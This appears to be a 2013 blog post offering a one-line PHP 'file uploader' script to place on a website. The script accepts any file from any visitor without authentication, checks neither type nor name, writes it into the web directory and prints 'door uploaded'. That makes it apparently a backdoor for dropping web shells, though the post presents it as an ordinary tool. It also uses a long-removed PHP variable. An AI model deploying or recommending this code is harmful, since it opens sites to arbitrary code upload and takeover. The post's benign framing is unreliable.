Kamis, 14 Februari 2013

Simple PHP Uploader Script By Dyosa

Simple PHP Uploader Script By Dyosa 
Hello Guyz Blush .
Today I'd Like to Show You A Very Small Piece of Script Which You Can Use to upload Files on your Website Via your Web Browser.

So here is the Code Save it as upload.php and upload it on your ftp or http website.
Code:
<?php if (isset($_REQUEST["upload"])) { $file=$HTTP_POST_FILES["file"]["name"]; $path=realpath('.'); @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $path . "/" . $file) or die(); echo "door uploaded"; } else { echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>file uploader</b><input name=file type=file><br><input type=submit name=upload value=upload></form>"; } ?>

Tidak ada komentar:

Posting Komentar